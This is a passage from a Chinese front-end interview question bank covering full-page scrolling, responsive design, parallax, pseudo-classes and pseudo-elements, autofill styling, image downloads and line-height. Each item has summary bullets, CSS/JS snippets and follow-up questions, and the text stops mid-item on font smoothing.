# 75 全屏滚动的原理是什么? 用到了CSS的那些属性

⚡ 30 秒速记

  • 原理:每屏 100vh(移动端用 100dvh),滚动一次就整屏切换,不是连续滚
  • 纯 CSS 首选:容器 scroll-snap-type: y mandatory; overflow-y: auto,每屏 scroll-snap-align: start
  • JS 方案:监听 wheel / touch,阻止默认滚动,改 transform: translateY(-n * 100%),配 transition
  • JS 方案关键是节流加锁:动画没结束不响应下一次滚轮,触控板一次会触发几十个 wheel
  • 劫持滚动会破坏键盘、读屏器和浏览器前进后退,记得支持方向键并同步 hash

全屏滚动就是每屏占满视口,滚一下整屏切换,现在我优先用 CSS 的 scroll-snap 实现。 容器写 scroll-snap-type: y mandatory,每一屏写 scroll-snap-align: start,浏览器原生滚动、自动吸附,键盘和触屏都不用额外处理。老方案是 JS 监听滚轮,overflow: hidden 禁掉原生滚动,然后用 transform: translateY() 整体移动容器、transition 做动画,fullPage.js 就是这个思路。JS 方案最容易出的问题是触控板一次轻扫触发几十个 wheel 事件,一下翻好几屏,必须加锁等动画结束。

时序图 · 4 个参与者 / 10 步
alt 正在切屏中(锁未释放)空闲且 deltaY 超过阈值用户用户滚轮监听滚轮监听页面容器页面容器浏览器渲染浏览器渲染触控板滑动,连续触发 wheel1preventDefault 阻止原生滚动2忽略这次滚动3加锁,index 加一4设置 translateY 为负 index 屏5触发 transition 动画6合成层平移完成7transitionend 事件8释放锁,同步 hash9停在新的一屏10

全屏滚动(Full Page Scroll)的原理是通过设置页面的高度为视口高度,并使用滚动事件来控制页面的滚动效果。通过监听滚动事件,当用户滚动页面时,根据滚动的距离来切换页面的显示内容,实现页面的切换效果。

在实现全屏滚动时,可能会用到以下一些CSS属性:

  • overflow: hidden;:用于隐藏超出视口范围的内容,以实现滚动效果。
  • transform: translateY(-n * 100%);:整体平移容器切到第 n 屏,配合 transition 做切屏动画。
  • scroll-snap-type、scroll-snap-align:纯 CSS 方案,靠浏览器原生滚动吸附实现整屏切换,不需要监听滚动事件。

JS 方案根据滚轮事件算出当前屏的索引再平移容器;能用 scroll-snap 时优先用它,键盘、触屏和无障碍都不用额外处理。

CSS Scroll Snap 的写法:

<main class="pages">
  <section id="p1">第一屏</section>
  <section id="p2">第二屏</section>
  <section id="p3">第三屏</section>
</main>
.pages {
  height: 100dvh;
  overflow-y: auto;
  scroll-snap-type: y mandatory;  /* 必须吸附到某个点 */
  scroll-behavior: smooth;        /* 锚点跳转时平滑滚动 */
}
.pages > section {
  height: 100dvh;
  scroll-snap-align: start;       /* 每屏顶部是吸附点 */
}

需要更强控制(自定义动画曲线、进度指示器)时才用 JS 方案,核心是加锁:

let index = 0;
let locked = false;
const wrap = document.querySelector('.wrap'); // overflow: hidden 的外层
const total = wrap.children.length;

window.addEventListener('wheel', (e) => {
  e.preventDefault();
  if (locked || Math.abs(e.deltaY) < 30) return; // 动画中或抖动,忽略
  const next = index + (e.deltaY > 0 ? 1 : -1);
  if (next < 0 || next >= total) return;
  locked = true;
  index = next;
  wrap.style.transform = `translateY(${-index * 100}vh)`;
}, { passive: false }); // 不写 passive: false,preventDefault 无效

wrap.addEventListener('transitionend', () => { locked = false; });

注意 wheel 默认是 passive 监听,要 preventDefault 必须显式传 { passive: false }。另外记得补上方向键和 PageDown 的支持。

💬 面试官追问

  • 触控板轻轻一划连翻了三屏,怎么修?

    加锁:切屏时置 isAnimating = true,transitionend 后再放开,期间的 wheel 全部忽略。再判断 deltaY 超过一个阈值才算有效滚动。

  • scroll-snap 方案在某一屏内容超过一屏高时,用户看不到下半截,怎么办?

    改成 scroll-snap-type: y proximity,只在靠近吸附点时才吸附;或者给那一屏 scroll-snap-stop: normal,内容区内部自己滚动。

  • JS 方案用 top 改位置还是 transform?

    transform。改 top 每帧都要重新布局,transform 走合成层,切屏动画在低端手机上也能保持流畅。

  • 用户想分享第三屏的链接,打开直接定位到第三屏,怎么支持?

    切屏时同步 location.hash 或用 history.replaceState,页面加载时读 hash 算出索引直接定位。scroll-snap 方案给每屏一个 id 就天然支持锚点。

  • iOS 上 100vh 的每一屏底部总被挡住一点,为什么?

    100vh 按地址栏收起时的高度算,地址栏展开时就多出来一截。换成 100dvh,老系统可以 JS 读 window.innerHeight 写进 CSS 变量兜底。

# 76 什么是响应式设计?响应式设计的基本原理是什么?如何兼容低版本的IE

⚡ 30 秒速记

  • 响应式 = 一套代码,布局跟着视口宽度连续变化,不是做 PC 版 + M 版两套
  • 三件套:流式布局(百分比 / fr)、弹性图片(max-width: 100%)、媒体查询切断点
  • 移动端前提:<meta name="viewport" content="width=device-width, initial-scale=1">,漏了媒体查询全白写
  • 移动优先:默认写小屏,min-width 逐级往上加,比 max-width 往下砍好维护
  • 现代补充:clamp() 做流体字号、容器查询 @container 按组件宽度适配
  • 低版本 IE 兼容:以前靠 respond.js 或 JS 监听 resize 切 class;IE 已经全线退役,面试点到即可

响应式说白了就是同一套页面,屏幕多宽就排成什么样,不用给每种设备单独做一版。 原理靠三样东西:容器用百分比、flex、grid 这种会伸缩的布局,图片加 max-width: 100% 不撑破,再用媒体查询在几个断点上换排版。移动端一定要写 viewport 那行 meta,不然手机按 980px 的虚拟宽度渲染,媒体查询根本命中不了。老 IE 不认媒体查询,当年是用 respond.js 或者 JS 监听 resize 给 body 加 class 来模拟,现在 IE 没了,这段只当历史知识讲。

  • 响应式设计就是网站能够兼容多个终端,而不是为每个终端做一个特定的版本
  • 基本原理是利用CSS3媒体查询,为不同尺寸的设备适配不同样式
  • 对于低版本的IE,可采用JS获取屏幕宽度,然后通过resize方法来实现兼容:
$(window).resize(function () {
  screenRespond();
});
screenRespond();
function screenRespond(){
var screenWidth = $(window).width();
if(screenWidth <= 1800){
  $("body").attr("class", "w1800");
}
if(screenWidth <= 1400){
  $("body").attr("class", "w1400");
}
if(screenWidth > 1800){
  $("body").attr("class", "");
}
}

💬 面试官追问

  • 媒体查询写好了,手机上打开还是 PC 布局缩小版,缺了啥?

    多半是没写 <meta name="viewport" content="width=device-width">。没有它,移动浏览器默认按 980px 左右的布局视口渲染,@media (max-width: 768px) 永远不命中。

  • 断点你一般怎么定?375、414、768 这样按机型抄吗?

    不按机型,按内容定:拉窗口看哪里开始挤、开始难看,就在那加断点。机型年年变,按内容断通常 3~4 个就够,比如 640px、1024px、1280px。

  • 为什么说移动优先更好,不都是写媒体查询吗?

    移动优先是基础样式写小屏,@media (min-width: 768px) 往上叠,大屏只是加东西;反过来写就是先写一堆再在小屏里一条条覆盖掉,样式又多又容易漏。手机上也少解析一些用不到的规则。

  • 同一个卡片组件,放侧栏要竖排、放主区要横排,媒体查询搞得定吗?

    搞不定,视口一样宽,组件所在的容器宽度不一样。这正是容器查询的场景:父级写 container-type: inline-size,组件里写 @container (min-width: 400px) { ... },组件按自己的位置变。

  • 字号在 375 和 1440 屏上想平滑过渡,不想写一堆断点怎么办?

    用 font-size: clamp(14px, 1rem + 0.5vw, 20px),中间按视口线性变,两头有上下限。比在每个断点里改字号顺滑,也少写很多代码。

# 77 什么是视差滚动效果,如何给每页做不同的动画

⚡ 30 秒速记

  • 视差 = 滚动时不同层用不同速度移动,远的慢、近的快,看起来有景深
  • 最简单:background-attachment: fixed,背景钉住、内容滚走;iOS Safari 不支持,移动端基本废
  • 纯 CSS 真视差:滚动容器加 perspective,各层 translateZ 不同 + scale 补偿尺寸
  • 每页不同动画:IntersectionObserver 看哪一屏进视口就加 class 播动画;新浏览器可以用 animation-timeline: view() 直接绑滚动进度
  • 性能:只动 transform / opacity,别在 scroll 回调里读写布局;配 prefers-reduced-motion 关掉视差

视差滚动就是滚动时让背景、内容、前景几层按不同速度移动,模拟现实里远处的山走得慢、近处的树走得快。 实现上有三档:最省事的是 background-attachment: fixed,但 iOS 上不生效;纯 CSS 可以用 perspective 加 translateZ 让各层天然有速度差;要精细控制就用 JS 或滚动驱动动画,把滚动进度换算成每层的 translateY。每页做不同动画,我一般给每一屏挂 IntersectionObserver,进视口就加个 class,动画写在 CSS 里,不去监听 scroll 一帧帧算。

视差滚动效果是一种在网页中使用的动画效果,通过在滚动页面时,不同层级的元素以不同的速度移动,形成立体的运动效果。这种效果可以给用户带来更加丰富、生动的视觉体验。

实现视差滚动效果时,可以将页面划分为背景层、内容层和悬浮层等不同的层级。通过设置不同层级的元素以不同的速度移动,可以形成层次感和立体效果。

具体实现视差滚动效果的方法如下:

  1. 使用HTML和CSS创建页面的不同层级,如背景层、内容层和悬浮层。
  2. 监听滚动事件(如鼠标滚轮事件或触摸滑动事件)。
  3. 当滚动事件触发时,根据滚动的距离和速度,计算出不同层级元素的位移值。
  4. 使用CSS的transform属性或JavaScript的动画库(如GSAP、ScrollMagic等)来实现元素的平移或缩放效果。
  5. 根据需求,为每个页面或元素设置不同的动画效果,如淡入淡出、旋转、缩放等。
  6. 根据滚动的进度和方向,控制元素的动画播放顺序和速度,以达到预期的视差滚动效果。

需要注意的是,在实现视差滚动效果时,要考虑到性能和用户体验。过多或复杂的动画效果可能会影响页面加载和滚动的流畅性,因此需要谨慎选择和设计动画效果,并进行性能优化,如合理使用硬件加速、使用节流和防抖等技术手段。

另外,为每个页面或元素设置不同的动画效果可以根据具体的设计需求来确定。可以根据页面的主题、内容或目的来决定使用何种动画效果,如淡入淡出效果、元素的移动或旋转效果等,以增加页面的吸引力和交互性。可以通过CSS的animation属性或JavaScript的动画库来实现这些动画效果,并根据滚动进度或其他触发条件来控制动画的播放。

总结

  • 视差滚动是指多层背景以不同的速度移动,形成立体的运动效果,具有非常出色的视觉体验
  • 一般把网页解剖为:背景层、内容层和悬浮层。当滚动鼠标滚轮时,各图层以不同速度移动,形成视差的
  • 实现原理
    • 以 “页面滚动条” 作为 “视差动画进度条”
    • 以 “滚轮刻度” 当作 “动画帧度” 去播放动画的
    • 监听 mousewheel 事件,事件被触发即播放动画,实现“翻页”效果

💬 面试官追问

  • 背景用了 background-attachment: fixed,iPhone 上完全不动,为什么?

    iOS Safari 一直不支持 fixed 背景,会退化成普通滚动。移动端要视差就换 transform 方案,或者干脆关掉,移动端视差本来就容易晕和卡。

  • 在 scroll 事件里算每层 top 值,滚起来一顿一顿的,怎么改?

    改 top 每次都触发布局,换成 transform: translateY() 只走合成;位置计算放到 requestAnimationFrame 里每帧最多一次,滚动监听加 { passive: true }。能用 IntersectionObserver 或 animation-timeline 替掉监听就更好。

  • 只想每屏进入视口时播一次入场动画,最轻的写法?

    IntersectionObserver 观察每个 section,entry.isIntersecting 时加 .is-visible 然后 unobserve。动画全写在 CSS 里,JS 只负责切 class,滚动时主线程几乎没活。

  • animation-timeline: scroll() 现在能直接上生产吗?

    Chromium 系已经支持,Firefox 和 Safari 还要看目标版本。我会用 @supports (animation-timeline: view()) 包一层,不支持的浏览器就是没动画,内容照常显示,当渐进增强用。

  • 产品要视差,但有用户反馈看了头晕,怎么处理?

    加 @media (prefers-reduced-motion: reduce),里面把视差和大位移动画关掉。系统里开了「减弱动态效果」的用户就看不到视差,其他人不受影响。

# 78 a标签上四个伪类的执行顺序是怎么样的

⚡ 30 秒速记

  • 书写顺序::link → :visited → :hover → :active,口诀 LoVe HAte
  • 原因不是浏览器有执行顺序,是四个伪类优先级一样,后写的覆盖先写的
  • :hover 写在 :visited 前面 → 点过的链接悬停没反应;:active 写在 :hover 前面 → 按下没反馈
  • :focus 一般插在 :hover 后、:active 前;键盘焦点样式现在用 :focus-visible
  • :visited 有隐私限制:只能改颜色类属性,getComputedStyle 也读不出真实值

顺序是 :link、:visited、:hover、:active,记成 LoVe HAte。 这里说的其实不是浏览器的执行顺序,而是书写顺序:这四个伪类优先级一样,一个链接可以同时处在「访问过」和「悬停中」两个状态,谁写在后面谁生效。所以交互态 :hover、:active 要放在后面,不然访问过的链接悬停就没反应了。现在项目里我还会补一个 :focus-visible,给键盘用户看焦点。

伪类在a标签上的执行顺序是 link(未访问链接) -> visited(已访问链接) -> hover(鼠标悬停) -> active(激活状态)。

执行顺序可以用记忆口诀 "L-V-H-A"(Love Hate)来记忆,表示喜欢和讨厌的顺序。首先应用 link 样式,然后是 visited 样式,接着是 hover 样式,最后是 active 样式。这个顺序也是 CSS 解析和应用伪类样式的规定顺序。

💬 面试官追问

  • 把 :hover 写在 :visited 前面,会出现什么现象?

    点过的链接再悬停没有变色。因为它同时匹配 :visited 和 :hover,优先级相同,写在后面的 :visited 把 :hover 的颜色盖了。

  • a:hover 写在最后了还是不生效,可能是什么原因?

    先看优先级,比如别处写了 .nav a { color: #333 },类加元素比单个伪类加元素权重高,顺序再对也盖不过。DevTools 里勾上 :hover 强制状态,看被划掉的是哪条规则。

  • 能用 :visited 把访问过的链接加个小图标或改字号吗?

    不行。浏览器为了防止网站通过样式探测你的浏览记录,:visited 只允许改 color、background-color、border-color 这类颜色,content、尺寸都无效,JS 读到的也是未访问时的值。

  • 设计说点击按钮后那圈焦点框太丑要去掉,你怎么处理?

    不直接 outline: none,那样键盘用户找不到焦点。写 :focus:not(:focus-visible) { outline: none },或者直接只给 :focus-visible 设样式,鼠标点击没框,Tab 过来才有。

# 79 伪元素和伪类的区别和作用

⚡ 30 秒速记

  • 伪类 = 选中已有元素的某种状态或位置::hover、:checked、:nth-child()、:not()
  • 伪元素 = 造出一块文档里不存在的东西,或选中元素的局部:::before、::after、::first-line、::placeholder
  • 写法:伪类单冒号,伪元素双冒号
  • 伪元素不在 DOM 里,JS 选不到、不能单独绑事件,点它触发的是宿主元素的事件
  • 一个选择器可以叠多个伪类,但伪元素只能有一个且放最后:li:hover::after

一句话区分:伪类是给已有元素加一个「状态条件」,伪元素是凭空造一个「假元素」。 a:hover、li:first-child 选的还是那个 a、那个 li,只是加了条件;p::before 是在 p 内容前面插一个 DOM 里看不到的盒子,::first-line 则是选中首行这块局部。判断方法很简单:效果能不能通过给真实元素加个 class 实现,能就是伪类,必须多一个标签才能做到的就是伪元素。

  • 伪元素 -- 在内容元素的前后插入额外的元素或样式,但是这些元素实际上并不在文档中生成。
  • 它们只在外部显示可见,但不会在文档的源代码中找到它们,因此,称为“伪”元素。例如:
p::before {content:"第一章:";}
p::after {content:"Hot!";}
p::first-line {background:red;}
p::first-letter {font-size:30px;}

  • 伪类 -- 将特殊的效果添加到特定选择器上。它是已有元素上添加类别的,不会产生新的元素。例如:
a:hover {color: #FF00FF}
p:first-child {color: red}

💬 面试官追问

  • 给 ::after 做的关闭图标绑点击事件,querySelector 怎么选不到?

    伪元素不在 DOM 里,选不到也绑不了。点它时事件的 target 是宿主元素,要么改成真实的 <button>,要么在宿主上判断点击坐标,前者更靠谱,可访问性也好。

  • li:hover::after 和 li::after:hover 哪个是对的?

    前者。伪元素必须放在选择器最后,::after:hover 是无效选择器,整条规则会被丢掉。

  • ::before 写了样式但页面上什么都没有,最常见的原因?

    没写 content。content 是生成伪元素的开关,哪怕是空的也要写 content: ''。另外 <img>、<input> 这类替换元素本身不支持 ::before。

  • 用 ::before 插入的文字能被搜索引擎和读屏器读到吗?

    读屏器大多会读 content 里的文字,搜索引擎一般不当正文。所以有意义的内容要写进 HTML,伪元素只放装饰性的东西,比如图标、分隔符、引号。

# 80 ::before 和 :after 中双冒号和单冒号有什么区别

⚡ 30 秒速记

  • 双冒号 ::before 是 CSS3 为区分伪元素和伪类改的写法,单冒号 :before 是 CSS2 的老写法
  • 为了兼容,浏览器对 ::before、::after、::first-line、::first-letter 这四个老伪元素仍接受单冒号
  • 新出的伪元素只认双冒号:::selection、::placeholder、::marker 写单冒号无效
  • 老代码写单冒号是为了 IE8,现在没这个必要,新代码统一双冒号
  • 两种写法都得有 content 才会生成

区别只在语法层面:双冒号是 CSS3 规定的伪元素写法,单冒号是早期遗留,效果一样。 CSS2 时代伪类伪元素都用一个冒号,后来为了一眼看出谁是伪元素,CSS3 把伪元素改成双冒号。浏览器为了不弄坏老网站,对 before、after、first-line、first-letter 这四个还认单冒号。以前写单冒号是照顾 IE8,现在 IE 都退役了,我会直接统一写双冒号,stylelint 也可以配规则强制。

  • 在 CSS 中伪类一直用 : 表示,如 :hover, :active 等
  • 伪元素在CSS1中已存在,当时语法是用 : 表示,如 :before 和 :after
  • 后来在CSS3中修订,伪元素用 :: 表示,如 ::before 和 ::after,以此区分伪元素和伪类
  • 由于低版本IE对双冒号不兼容,开发者为了兼容性各浏览器,继续使使用 :after 这种老语法表示伪元素
  • 总结起来,::before 是CSS3中写伪元素的新语法,而 :after 是早期版本CSS中存在的、兼容IE的旧语法,用于表示伪元素。在实际开发中,为了兼容性考虑,可以选择使用单冒号的写法。

💬 面试官追问

  • 那现在写 :after 还会不会有问题?

    功能上没问题,四个老伪元素浏览器都兼容单冒号。只是风格不统一,团队里我会用 stylelint 的 selector-pseudo-element-colon-notation: double 一键修掉。

  • input:placeholder { color: #999 } 不生效,为什么?

    placeholder 是新伪元素,只认双冒号,单冒号会被当成一个不存在的伪类,整条规则失效。改成 input::placeholder。

  • 为什么不干脆所有伪元素都允许单冒号?

    单冒号已经是伪类的地盘了,新伪元素再用单冒号就分不清是状态还是生成内容。只给老四个开后门,是为了不打破历史页面。

  • ::selection 能改选中文字的字号吗?

    不能,::selection 只支持 color、background-color、text-shadow 等少数属性。改布局会导致选中时文字跳动,规范直接不允许。

# 81 如何修改Chrome记住密码后自动填充表单的黄色背景

⚡ 30 秒速记

  • 黄色(新版 Chrome 是浅蓝)背景来自 :-webkit-autofill 状态的 UA 样式,带 !important,直接写 background-color 盖不住
  • 常用解法:超大内阴影盖住,box-shadow: 0 0 0 1000px #fff inset
  • 文字颜色用 -webkit-text-fill-color,写 color 没用
  • 想背景透明:transition: background-color 5000s 把变色拖到看不见
  • autocomplete="off" 对密码框经常被 Chrome 忽略,登录页别指望靠它

这个背景是 Chrome 给自动填充状态加的浏览器内置样式,普通的 background 盖不住,一般用大号内阴影把它遮掉。 选中 input:-webkit-autofill,写 box-shadow: 0 0 0 1000px #fff inset,阴影铺满输入框就看不到底色了,文字颜色再用 -webkit-text-fill-color 改。如果背景必须透明,阴影方案就不行,可以用 transition: background-color 5000s 让颜色变化慢到感知不到。至于 autocomplete="off",Chrome 对用户名密码基本无视,而且关掉自动填充也伤体验,我不推荐。

  • 产生原因:由于Chrome默认会给自动填充的input表单加上 input:-webkit-autofill 私有属性造成的
  • 解决方案1:在form标签上直接关闭了表单的自动填充:autocomplete="off"
  • 解决方案2:input:-webkit-autofill { background-color: transparent; }

input [type=search] 搜索框右侧小图标如何美化?

input[type="search"]::-webkit-search-cancel-button{
  -webkit-appearance: none;
  height: 15px;
  width: 15px;
  border-radius: 8px;
  background:url("images/searchicon.png") no-repeat 0 0;
  background-size: 15px 15px;
}

💬 面试官追问

  • 写了 input:-webkit-autofill { background-color: transparent },为什么没效果?

    Chrome 的自动填充样式是 UA 层带 !important 的,作者样式盖不过去。这就是大家用 inset 阴影和长 transition 这类绕路方案的原因。

  • 暗色主题下用白色内阴影方案,切换主题后输入框一片白,怎么改?

    阴影颜色用变量:box-shadow: 0 0 0 1000px var(--input-bg) inset,-webkit-text-fill-color: var(--text)。亮色暗色各自定义变量,不用写两套 autofill 规则。

  • 登录页给表单加了 autocomplete="off",Chrome 照样自动填密码,正常吗?

    正常,Chrome 对登录类字段故意忽略这个值,认为记住密码对用户更好。真要禁止只能用 autocomplete="new-password" 这类语义值,但一般不该和浏览器对着干。

  • Firefox 也有这个问题吗?

    也有,Firefox 自动填充也会给输入框上色,它用的是标准的 :autofill 伪类,新版 Chrome 也支持 :autofill。可以两种都写上,-webkit- 前缀那条兜底老版本。

# 82 网站图片文件,如何点击下载?而非点击预览

⚡ 30 秒速记

  • 同源:<a href="/img.png" download="头像.png">,最简单
  • 跨域时 download 属性会被浏览器忽略,点了还是预览
  • 服务端方案最稳:响应头 Content-Disposition: attachment; filename="x.png",OSS / CDN 一般都能配
  • 纯前端跨域:fetch 拿 blob → URL.createObjectURL → 建 a 标签带 download 点一下 → revokeObjectURL;前提是图片服务器给了 CORS 头
  • 用完记得 revokeObjectURL,不然 blob 一直占内存

同源图片给 <a> 加 download 属性就行,跨域的要么让服务端返回 Content-Disposition: attachment,要么前端先把图片拉成 blob 再下载。 很多人踩的坑是图片放在 CDN 上,download 写了没反应,因为浏览器出于安全考虑,跨域链接直接忽略这个属性。最稳的是在 OSS 或网关上给下载链接加 attachment 响应头,任何浏览器都会弹下载。纯前端就用 fetch 拿 blob,生成同源的 blob: 地址再触发下载,但前提是图片服务器开了 CORS。

时序图 · 4 个参与者 / 10 步
alt CDN 返回 CORS 头没有 CORS 头用户用户页面脚本页面脚本图片CDN图片CDN浏览器浏览器点击下载按钮1fetch 图片地址2图片数据3转成 blob 并生成 blob 地址4创建 a 标签带 download 并点击5弹出保存文件6revokeObjectURL 释放内存7浏览器拦截跨域响应8改为打开后端下载接口9响应头 attachment 触发下载10

可以通过在 <a> 标签中添加 href 属性来指定图片文件的路径,并使用 download 属性来指示浏览器下载该文件而非预览。

<a href="logo.jpg" download>下载</a>

上述代码会在网页中显示一个链接,点击该链接会下载名为 logo.jpg 的图片文件。

您还可以通过添加 download 属性的值来指定下载文件的名称,如下所示:

<a href="logo.jpg" download="网站LOGO">下载</a>

上述代码会下载名为 网站LOGO.jpg 的图片文件。

请注意,download 属性在某些浏览器中可能不被支持或具有限制。在不支持该属性的浏览器中,点击链接可能仍然会打开预览。此外,如果您在网站中使用了内容安全策略(Content Security Policy),可能需要额外配置才能允许下载文件。

确保文件路径正确,并根据需要设置适当的下载文件名称。

💬 面试官追问

  • 图片在 CDN 上,<a download> 点了还是打开新页预览,为什么?

    download 只对同源 URL 和 blob:、data: 地址生效,跨域会被忽略。要么后端加 Content-Disposition: attachment,要么前端 fetch 成 blob 再下载。

  • 前端 fetch 图片转 blob 时控制台报 CORS 错误,前端能解决吗?

    前端解决不了,得图片服务器返回 Access-Control-Allow-Origin。改不了的话就走自己的服务端代理,或者直接让后端出一个带 attachment 头的下载接口。

  • 下载按钮的核心代码怎么写?

    const url = URL.createObjectURL(await (await fetch(src)).blob()); const a = document.createElement('a'); a.href = url; a.download = 'pic.png'; a.click(); URL.revokeObjectURL(url);,最后那句别忘,不然每下一次就泄漏一份 blob。

  • 几百 MB 的大文件也用 fetch 转 blob 吗?

    不建议,整个文件要先进内存才能触发下载,用户还看不到进度。大文件直接给一个带 attachment 头的链接,交给浏览器下载管理器,支持断点和进度。

  • 文件名是中文,下载下来乱码怎么办?

    响应头用 filename*=UTF-8'' 加 encodeURIComponent 编码后的名字,同时保留一个 ASCII 的 filename 兜底。前端 download 属性里直接写中文一般没问题。

# 83 你对 line-height 是如何理解的

⚡ 30 秒速记

  • 行高 = 一行占的高度,内容区高度 + 行距;行距 = line-height - 内容区高度,上下各分一半(半行距)
  • 多行文字的行距看起来就是两行基线间的距离
  • 没设 height 的块,高度 = 里面所有行框高度相加,所以 line-height 是会影响布局的
  • 单行居中:line-height 等于容器高度;多行文本这么写会把每行都拉得很高
  • 图片底部多出几像素空隙,也跟行高和基线对齐有关

line-height 就是一行文字占多高,文字本身只占中间一块,多出来的部分平分到上下,叫半行距。 比如 font-size: 16px、line-height: 24px,多出来的 8px 上下各 4px,文字就在这一行里居中。块级元素不写高度时,高度就是所有行框叠起来,所以改行高会直接改变块的高度。单行文本把 line-height 设成和容器一样高就能垂直居中,原理就是半行距把文字挤到中间;但文字一换行就露馅了,多行居中还是用 flex。

  • line-height 是一行字的高度,包括了字体的实际高度以及行间距(字间距)。
  • 当一个元素没有显式设置 height 属性时,它的高度会由 line-height 决定。
  • 如果一个容器没有设置高度,并且容器内部有文本内容,那么容器的高度会由 line-height 撑开。
  • 如果将 line-height 设置为与容器的 height 相同的值,可以实现单行文本的垂直居中。
  • 注意,line-height 和 height 都可以撑开元素的高度,但是设置 height 属性会触发元素的 haslayout(仅适用于部分浏览器),而 line-height 不会触发该特性。

需要注意的是,line-height 还可以影响多行文本的行间距和垂直居中,它是一个很常用的属性用于调整文本的排版和布局。

💬 面试官追问

  • 按钮 height: 40px; line-height: 40px 居中了,文案一长换行就爆了,怎么改?

    第二行也按 40px 行高排,按钮直接变 80px 还溢出。改成 display: inline-flex; align-items: center; min-height: 40px,行高写正常的 1.5,换行也不会出问题。

  • div 里只放了一张图片,底部总多出几像素空白,为什么?

    图片默认是 inline,按基线对齐,基线下面还要给字母下伸部分留位置,这块空隙就是行高和基线带来的。给 img 写 display: block 或 vertical-align: middle 就没了。

  • 设计稿标注文字高 16px,实际渲染出来块高是 22px 多一点,谁的锅?

    不是 bug,没写 line-height 时用的是 normal,一般是字号的 1.2 倍左右,具体看字体。写死一个行高,高度就可控了。

  • 老资料说 line-height 不会触发 hasLayout,这个点现在还要讲吗?

    不用。hasLayout 是 IE6/IE7 的私有概念,IE 退役后已经没意义了,面试提一句是历史包袱就够。

# 84 line-height 三种赋值方式有何区别?(带单位、纯数字、百分比)

⚡ 30 秒速记

  • 纯数字 1.5:继承的是倍数本身,子元素用自己的字号去乘,最符合直觉
  • 百分比 150% / em 1.5em:在父元素上先算成像素,子元素继承那个死值
  • 例:父 16px 写 150% → 子元素 32px 的标题行高还是 24px,文字叠在一起;写 1.5 子元素行高就是 48px
  • px 固定值:本身就是死值,继承也不变
  • 结论:全局正文行高写纯数字,只有需要和图标、输入框精确对齐时才写 px

三种写法真正的区别在继承:纯数字传给子元素的是倍数,百分比和带单位的传的是父元素算好的像素值。 举个例子,body 字号 16px,写 line-height: 150%,算出来 24px,里面一个 32px 的大标题继承到的也是 24px,两行字就压到一起了。写成 line-height: 1.5,标题自己拿 32 × 1.5 = 48px,正文还是 24px,各算各的。所以我在全局样式里一律写纯数字,em 和百分比跟它看起来很像,但行为完全不同。

对于 line-height 的三种赋值方式,如下所述:

  1. 带单位:使用像素 (px) 或其他单位 (如 em) 进行赋值。当使用固定值(如 px)时,line-height 会直接采用该固定值作为行高。而当使用相对单位(如 em)时,line-height 会根据元素的父元素的字体大小 (font-size) 来计算行高,即乘以相应的倍数。
  2. 纯数字:直接使用数字进行赋值。这种情况下,数字会被传递给后代元素,作为其行高的比例因子。例如,如果父元素的行高为 1.5,而子元素的字体大小为 18px,那么子元素的行高就会被计算为 1.5 * 18 = 27px。
  3. 百分比:使用百分比进行赋值。百分比值会相对于父元素的字体大小进行计算,并将计算后的值传递给后代元素作为其行高。

总的来说,带单位的方式是直接指定具体的行高值,纯数字和百分比的方式会将计算后的行高值传递给后代元素。这些不同的赋值方式可以根据具体的需求和设计效果来选择使用。

💬 面试官追问

  • 全局写了 line-height: 150%,文章里的 h1 两行字叠在一起了,为什么?

    百分比在 body 上就算成了 24px,h1 继承到的是这个固定值,字号再大行高也不变。改成 line-height: 1.5,h1 会用自己的字号重新乘。

  • 1.5em 和 1.5 看起来一样,有什么区别?

    对当前元素自己来说结果一样,区别在后代:1.5em 先算成像素再往下传,1.5 传的是倍数。只要有子元素字号不同,结果就不一样。

  • getComputedStyle 读一个写了 line-height: 1.5 的元素,返回什么?

    返回算好的像素值,比如 '24px'。但继承时传的是 1.5 这个数,计算值和继承值不是一回事,这正是纯数字特殊的地方。

  • 什么时候反而要用 px 写死行高?

    需要和图标、输入框、头像精确对齐的单行组件,比如 32px 高的标签。不过我一般只在组件内部写,不往全局放,免得被继承出去。

# 85 设置元素浮动后,该元素的 display 值会如何变化

⚡ 30 秒速记

  • 会变:浮动元素的 display 计算值被「块级化」,inline / inline-block → block,inline-table → table
  • 你写的声明值没变,但 getComputedStyle(el).display 读出来是 block
  • block、flex、grid、table 这些本来就是块级的不变;inline-flex → flex,inline-grid → grid
  • position: absolute / fixed 和根元素也有同样的块级化
  • display: none 优先:none 时 float 不起作用

浮动之后 display 的计算值会被块级化,inline 和 inline-block 都变成 block,所以 span 浮动后能直接设宽高。 这是规范写死的规则,不只针对 span、a:所有行内级的值都会转成对应的块级值,inline-table 变 table,inline-flex 变 flex,本来就是块级的保持不变。要注意变的是计算值,样式表里你写的还是 inline,用 getComputedStyle 一读就能看到 block。绝对定位和固定定位也是一样的处理,脱离文档流的盒子都得是块级盒子。

  • 设置元素浮动后,display 的计算值会被块级化:inline、inline-block、table-* 内部值变成 block,inline-table 变成 table,inline-flex / inline-grid 变成 flex / grid,本来就是块级的值保持不变。样式表里写的声明值不变,用 getComputedStyle 读出来的是块级化之后的值。
  • 然而,浮动元素会生成一个块级框,并且脱离了正常的文档流,会影响其他元素的布局。常见的浮动值为 left 或 right,使元素向左或向右浮动,并允许其他内容环绕在其周围。
  • 所以 span、a 这类默认 inline 的元素浮动后可以直接设置宽高。规则出自 CSS 2.1 第 9.7 节:display: none 时 float 不起作用;position: absolute / fixed 时 float 计算为 none,display 同样块级化。

💬 面试官追问

  • span 写了 float: left,width: 100px 立刻生效,为什么?

    浮动后 display 计算值从 inline 变成了 block,块级盒子就能设宽高了,不用再补 display: block。

  • 浮动元素上写 display: inline-block,是多此一举还是有用?

    在现代浏览器里多余,计算值照样是 block。它唯一的历史用途是修 IE6 浮动元素双倍 margin 的 bug,现在可以删掉。

  • display: inline-flex 的元素设了 float,子项还是 flex 布局吗?

    是,计算值变成 flex,只是外部从行内级变成了块级,内部 flex 布局不受影响。

  • 浮动元素和绝对定位元素都写了,谁说了算?

    position: absolute 或 fixed 时 float 的计算值会被强制成 none,元素按定位走。所以两个一起写,浮动其实没生效。

# 86 让页面里的字体变清晰,变细用CSS怎么做?(IOS手机浏览器字体齿轮设置)

⚡ 30 秒速记

  • -webkit-font-smoothing: antialiased:灰度抗锯齿,macOS 上字体看起来更细更清晰
  • -moz-osx-font-smoothing: grayscale:macOS 上 Firefox 的对应写法
  • 只在 macOS 桌面浏览器上明显有效;iOS 本来就是灰度渲染,Windows 完全无效
  • 非标准属性,不能当跨平台的「字体变细」方案;真想细就换字重 font-weight: 300
